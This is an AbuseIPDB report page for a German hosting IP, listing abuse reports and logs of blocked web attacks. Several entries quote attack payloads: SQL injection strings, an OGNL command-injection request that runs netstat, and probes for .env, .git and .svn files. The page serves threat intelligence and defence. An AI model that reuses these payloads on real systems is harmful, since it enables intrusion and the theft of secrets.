JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 104.207.54.4

104.207.54.4 was found in our database!

This IP was reported 92 times. Confidence of Abuse is 0%: ?

ISP	3xK Tech GmbH
Usage Type	Data Center/Web Hosting/Transit
ASN	AS200373
Domain Name	3xktech.cloud
Country	🇩🇪 Germany
City	Berlin, State of Berlin

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 104.207.54.4

Whois 104.207.54.4

IP Abuse Reports for 104.207.54.4:

This IP address has been reported a total of 92 times from 19 distinct sources. 104.207.54.4 was first reported on June 4th 2024, and the most recent report was 1 month ago.

Old Reports: The most recent abuse report for this IP address is from 1 month ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇨🇳 ThreatBook.io	2026-04-23 00:00:58 (1 month ago)	ThreatBook Intelligence: Gateway more details on http://threatbook.io/ip/104.207.54.4 2026-04-22 15: ... show more ThreatBook Intelligence: Gateway more details on http://threatbook.io/ip/104.207.54.4 2026-04-22 15:05:08 /general/person_info/concern_user/concern_function.php?load=batch_group&user_id_str=11111111111%2527%20or%20char(@%60%5C%5C%27%60)%20or%20(case%20when(1=12)then%20exp(5000)%20else%200%20end)=1%20and%20%2527%2527=%2527 show less	Web App Attack
🇨🇳 ThreatBook.io	2026-04-09 23:49:05 (1 month ago)	ThreatBook Intelligence: Dynamic IP more details on http://threatbook.io/ip/104.207.54.4 2026-04-09 ... show more ThreatBook Intelligence: Dynamic IP more details on http://threatbook.io/ip/104.207.54.4 2026-04-09 07:04:51 /druid/index.html show less	Web App Attack
🇨🇳 ThreatBook.io	2026-04-04 00:30:27 (2 months ago)	ThreatBook Intelligence: Dynamic IP more details on http://threatbook.io/ip/104.207.54.4 2026-04-03 ... show more ThreatBook Intelligence: Dynamic IP more details on http://threatbook.io/ip/104.207.54.4 2026-04-03 02:55:09 /prod-api/v2/api-docs 2026-04-03 02:55:10 /swagger/v1/swagger.json 2026-04-03 02:55:11 /swagger/docs/v1 2026-04-03 05:42:10 /book/index.php?c=search&catid=23%20and%20(select%201%20from%20(select%20count(),concat(md5(1),floor(rand(0)2))x%20from%20information_schema.tables%20group%20by%20x)a) 2026-04-03 02:55:11 /api/swagger.json 2026-04-03 02:55:12 /v3/api-docs 2026-04-03 02:55:10 /v2/api-docs show less	Web App Attack
🇺🇸 windowsforum	2026-03-12 11:10:41 (2 months ago)	Spam bot registration: triggers=js_challenge, inv_honeypot, pow_fail, username=Kandace21T	Web Spam Bad Web Bot
🇫🇷 conseilgouz	2026-03-04 23:38:01 (3 months ago)	upe-12 : Block return, carriage return, ... characters=>/index.php?option=com_content&view=artic ... show more upe-12 : Block return, carriage return, ... characters=>/index.php?option=com_content&view=article%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--&id=89&c...(') show less	Hacking
🇺🇸 TPI-Abuse	2026-02-11 13:56:54 (3 months ago)	(mod_security) mod_security (id:225170) triggered by 104.207.54.4 (-): 1 in the last 300 secs; Ports ... show more (mod_security) mod_security (id:225170) triggered by 104.207.54.4 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Wed Feb 11 08:56:49.618657 2026] [security2:error] [pid 27508:tid 27508] [client 104.207.54.4:29739] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)\|\|persnicketyinc.com\|F\|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "persnicketyinc.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aYyKoWD8DfnwCst6SWg3XAAAAAI"], referer: https://www.google.com show less	Brute-Force Bad Web Bot Web App Attack
🇨🇳 ThreatBook.io	2025-12-18 00:07:06 (5 months ago)	ThreatBook Intelligence: Zombie,vpn_proxy more details on https://threatbook.io/ip/104.207.54.4 2025 ... show more ThreatBook Intelligence: Zombie,vpn_proxy more details on https://threatbook.io/ip/104.207.54.4 2025-12-17 23:12:31 /swagger/v1/swagger.json 2025-12-17 23:12:31 /v2/api-docs 2025-12-17 23:12:33 /api/swagger.json 2025-12-17 23:12:30 /prod-api/v2/api-docs 2025-12-17 23:12:33 /v3/api-docs 2025-12-17 23:12:32 /swagger/docs/v1 show less	Web App Attack
🇵🇱 sefinek.net	2025-12-14 12:04:38 (5 months ago)	Triggered Cloudflare WAF (firewallCustom) from DE. Action taken: MANAGED_CHALLENGE Protocol: HTTP/1. ... show more Triggered Cloudflare WAF (firewallCustom) from DE. Action taken: MANAGED_CHALLENGE Protocol: HTTP/1.1 (GET method) Endpoint: / UA: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:114.0) Gecko/20100101 Firefox/114.0 This report was generated by: https://github.com/sefinek/Cloudflare-WAF-To-AbuseIPDB show less	Bad Web Bot
🇺🇸 TPI-Abuse	2025-12-09 12:31:34 (5 months ago)	(mod_security) mod_security (id:210492) triggered by 104.207.54.4 (-): 1 in the last 300 secs; Ports ... show more (mod_security) mod_security (id:210492) triggered by 104.207.54.4 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Tue Dec 09 07:31:31.360067 2025] [security2:error] [pid 1831:tid 1831] [client 104.207.54.4:15149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "littlestarbookspub.com"] [uri "/.git/HEAD"] [unique_id "aTgWo5K6MyWXQ9Okr7ZbgQAAAAw"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 TPI-Abuse	2025-12-08 09:34:35 (5 months ago)	(mod_security) mod_security (id:210492) triggered by 104.207.54.4 (-): 1 in the last 300 secs; Ports ... show more (mod_security) mod_security (id:210492) triggered by 104.207.54.4 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Mon Dec 08 04:34:30.987559 2025] [security2:error] [pid 24743:tid 24743] [client 104.207.54.4:24519] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "conversationtalentnetwork.com"] [uri "/.env"] [unique_id "aTabpgrMImNb5m-jOi9-twAAAAo"] show less	Brute-Force Bad Web Bot Web App Attack
🇨🇳 ThreatBook.io	2025-12-07 23:07:56 (5 months ago)	ThreatBook Intelligence: Zombie,vpn_proxy more details on https://threatbook.io/ip/104.207.54.4 2025 ... show more ThreatBook Intelligence: Zombie,vpn_proxy more details on https://threatbook.io/ip/104.207.54.4 2025-12-07 06:18:37 /?debug=command&expression=%23f=%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29,%23f.setAccessible%28true%29,%23f.set%28%23_memberAccess,true%29,%[email protected]@getRequest%28%29,%[email protected]@getResponse%28%29.getWriter%28%29,%23a=%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27netstat%27}%29%29.start%28%29,%23b=%23a.getInputStream%28%29,%23c=new%20java.io.InputStreamReader%28%23b%29,%23d=new%20java.io.BufferedReader%28%23c%29,%23e=new%20char[4000],%23d.read%28%23e%29,%23resp.println%28%23e%29,%23resp.close%28%29 2025-12-07 06:18:36 / show less	Web App Attack
🇳🇱 homeshowdomain.nl	2025-12-07 22:59:10 (5 months ago)	Auto-ban: >3000 req/min op 2025-12-07	Hacking Web App Attack SSH
🇺🇸 TPI-Abuse	2025-12-07 21:51:00 (5 months ago)	(mod_security) mod_security (id:210492) triggered by 104.207.54.4 (-): 1 in the last 300 secs; Ports ... show more (mod_security) mod_security (id:210492) triggered by 104.207.54.4 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sun Dec 07 16:50:57.072072 2025] [security2:error] [pid 13989:tid 13995] [client 104.207.54.4:31755] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "trinketjar.com"] [uri "/.git/HEAD"] [unique_id "aTX2we3IJEztYw7jqleZHAAAAAE"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 TPI-Abuse	2025-12-07 15:41:04 (5 months ago)	(mod_security) mod_security (id:210492) triggered by 104.207.54.4 (-): 1 in the last 300 secs; Ports ... show more (mod_security) mod_security (id:210492) triggered by 104.207.54.4 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sun Dec 07 10:40:57.589311 2025] [security2:error] [pid 31292:tid 31307] [client 104.207.54.4:17899] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "wheezer.org"] [uri "/.env"] [unique_id "aTWgCXusXIgJJfawjVAPYgAAAAw"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 TPI-Abuse	2025-12-06 18:06:50 (6 months ago)	(mod_security) mod_security (id:210492) triggered by 104.207.54.4 (-): 1 in the last 300 secs; Ports ... show more (mod_security) mod_security (id:210492) triggered by 104.207.54.4 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sat Dec 06 13:06:42.937821 2025] [security2:error] [pid 1067:tid 1067] [client 104.207.54.4:22701] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "adj-tech.net"] [uri "/.svn/wc.db"] [unique_id "aTRwsqGrBIZEPZQWFcBGOAAAAAU"] show less	Brute-Force Bad Web Bot Web App Attack

Showing 1 to 15 of 92 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇹🇷 185.128.114.73

🇸🇬 161.118.207.29

🇮🇩 157.15.40.1

🇯🇵 104.234.155.104

🇳🇱 91.92.243.20

🇮🇹 84.220.119.87

🇸🇦 51.223.72.30

🇨🇳 49.72.213.128

🇸🇬 47.82.10.153

🇸🇬 47.82.10.152

🇺🇸 45.33.16.32

🇵🇰 39.38.112.80

🇷🇺 5.165.19.3

🇺🇸 2a03:2880:24ff:5d::

🇮🇶 212.237.119.199

🇹🇷 185.128.114.199

🇹🇱 180.189.174.146

🇧🇷 177.34.168.137

🇺🇸 147.185.132.16

🇧🇷 147.15.20.173